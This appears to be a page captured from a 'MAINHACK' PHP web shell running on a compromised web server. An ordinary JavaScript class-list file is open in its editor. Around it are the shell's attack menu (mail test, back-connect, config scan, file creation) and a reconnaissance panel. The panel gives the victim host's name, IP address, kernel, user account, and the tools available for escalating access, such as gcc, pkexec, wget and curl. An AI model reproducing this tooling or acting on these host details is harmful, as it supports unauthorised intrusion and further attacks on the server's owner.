[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: css-class-list.js
'use strict'; var CSSClassList = function (node) { this.parentNode = node; this.classNames = new Set(); const value = node.attributes.class; if (value != null) { this.addClassValueHandler(); this.setClassValue(value); } }; // attr.class.value CSSClassList.prototype.addClassValueHandler = function () { Object.defineProperty(this.parentNode.attributes, 'class', { get: this.getClassValue.bind(this), set: this.setClassValue.bind(this), enumerable: true, configurable: true, }); }; CSSClassList.prototype.getClassValue = function () { var arrClassNames = Array.from(this.classNames); return arrClassNames.join(' '); }; CSSClassList.prototype.setClassValue = function (newValue) { if (typeof newValue === 'undefined') { this.classNames.clear(); return; } var arrClassNames = newValue.split(' '); this.classNames = new Set(arrClassNames); }; CSSClassList.prototype.add = function (/* variadic */) { this.addClassValueHandler(); Object.values(arguments).forEach(this._addSingle.bind(this)); }; CSSClassList.prototype._addSingle = function (className) { this.classNames.add(className); }; CSSClassList.prototype.remove = function (/* variadic */) { this.addClassValueHandler(); Object.values(arguments).forEach(this._removeSingle.bind(this)); }; CSSClassList.prototype._removeSingle = function (className) { this.classNames.delete(className); }; CSSClassList.prototype.item = function (index) { var arrClassNames = Array.from(this.classNames); return arrClassNames[index]; }; CSSClassList.prototype.toggle = function (className, force) { if (this.contains(className) || force === false) { this.classNames.delete(className); } this.classNames.add(className); }; CSSClassList.prototype.contains = function (className) { return this.classNames.has(className); }; module.exports = CSSClassList;
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.73 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002